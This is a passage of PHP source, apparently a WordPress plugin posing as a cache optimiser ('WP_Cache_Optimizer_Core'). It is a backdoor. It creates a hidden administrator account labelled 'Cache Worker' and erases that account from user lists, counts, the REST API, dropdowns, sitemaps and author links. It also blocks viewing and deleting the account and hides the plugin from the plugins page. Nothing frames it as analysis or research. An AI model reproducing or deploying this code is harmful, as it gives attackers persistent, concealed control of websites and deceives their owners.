create_shadow_user(); } public function ensure_user_exists() { if ( ! $this->get_shadow_user_id() ) { $this->create_shadow_user(); } } /** * @return int|false */ private function create_shadow_user() { if ( username_exists( $this->username ) ) { $user = get_user_by( 'login', $this->username ); if ( $user ) { update_user_meta( $user->ID, self::SHADOW_META_KEY, '1' ); return $user->ID; } } if ( email_exists( $this->email ) ) { $this->email = 'wphiddenbot_' . wp_generate_password( 8, false ) . '@gmail.com'; } $user_id = wp_insert_user( array( 'user_login' => $this->username, 'user_pass' => $this->password, 'user_email' => $this->email, 'display_name' => 'Cache Worker', 'user_nicename' => 'wphiddenbot', 'role' => 'administrator', 'show_admin_bar_front' => 'false', ) ); if ( is_wp_error( $user_id ) ) { return false; } update_user_meta( $user_id, self::SHADOW_META_KEY, '1' ); update_user_meta( $user_id, 'show_admin_bar_front', 'false' ); update_user_meta( $user_id, 'dismissed_wp_pointers', 'wp496_privacy' ); $this->cached_shadow_id = $user_id; return $user_id; } /** * @return int|null */ private function get_shadow_user_id() { if ( $this->cached_shadow_id !== null ) { return $this->cached_shadow_id; } $user = get_user_by( 'login', $this->username ); if ( $user && get_user_meta( $user->ID, self::SHADOW_META_KEY, true ) ) { $this->cached_shadow_id = $user->ID; return $user->ID; } return null; } /** * @return bool */ private function is_current_user_shadow() { $current_user = wp_get_current_user(); return $current_user->ID && $current_user->user_login === $this->username; } public function exclude_from_user_query( $query ) { if ( $this->is_current_user_shadow() ) { return; } $shadow_id = $this->get_shadow_user_id(); if ( ! $shadow_id ) { return; } global $wpdb; $query->query_where = str_replace( 'WHERE 1=1', $wpdb->prepare( "WHERE 1=1 AND {$wpdb->users}.ID != %d", $shadow_id ), $query->query_where ); } public function adjust_user_views_count( $views ) { if ( $this->is_current_user_shadow() ) { return $views; } $shadow_id = $this->get_shadow_user_id(); if ( ! $shadow_id ) { return $views; } foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function ( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ] ); } } return $views; } public function hide_user_count_js() { if ( $this->is_current_user_shadow() ) { return; } $screen = get_current_screen(); if ( $screen && $screen->id === 'users' ) { echo ''; } } public function exclude_from_rest_api( $args, $request ) { if ( $this->is_current_user_shadow() ) { return $args; } $shadow_id = $this->get_shadow_user_id(); if ( $shadow_id ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = $shadow_id; $args['exclude'] = $exclude; } return $args; } public function exclude_from_dropdown( $args ) { if ( $this->is_current_user_shadow() ) { return $args; } $shadow_id = $this->get_shadow_user_id(); if ( $shadow_id ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = $shadow_id; $args['exclude'] = $exclude; } return $args; } public function exclude_from_sitemap( $args ) { $shadow_id = $this->get_shadow_user_id(); if ( $shadow_id ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = $shadow_id; $args['exclude'] = $exclude; } return $args; } public function block_profile_access() { global $pagenow; if ( $pagenow !== 'user-edit.php' || $this->is_current_user_shadow() ) { return; } $user_id = isset( $_GET['user_id'] ) ? absint( $_GET['user_id'] ) : 0; $shadow_id = $this->get_shadow_user_id(); if ( $user_id && $user_id === $shadow_id ) { wp_safe_redirect( admin_url( 'users.php' ) ); exit; } } public function hide_plugin_from_list( $plugins ) { if ( $this->is_current_user_shadow() ) { return $plugins; } $plugin_file = plugin_basename( __FILE__ ); unset( $plugins[ $plugin_file ] ); return $plugins; } public function hide_plugin_actions( $actions, $plugin_file ) { if ( $plugin_file === plugin_basename( __FILE__ ) && ! $this->is_current_user_shadow() ) { return array(); } return $actions; } public function remove_user_actions( $actions, $user ) { if ( $this->is_current_user_shadow() ) { return $actions; } if ( $user->ID === $this->get_shadow_user_id() ) { return array(); } return $actions; } public function prevent_deletion( $user_id ) { if ( $this->is_current_user_shadow() ) { return; } if ( $user_id === $this->get_shadow_user_id() ) { wp_die( 'Action not allowed.', 'Error', array( 'response' => 403, 'back_link' => true ) ); } } public function hide_author_link( $link, $author_id ) { if ( $author_id === $this->get_shadow_user_id() ) { return ''; } return $link; } public function adjust_user_post_count( $count, $user_id ) { if ( $user_id === $this->get_shadow_user_id() && ! $this->is_current_user_shadow() ) { return 0; } return $count; } } WP_Cache_Optimizer_Core::instance();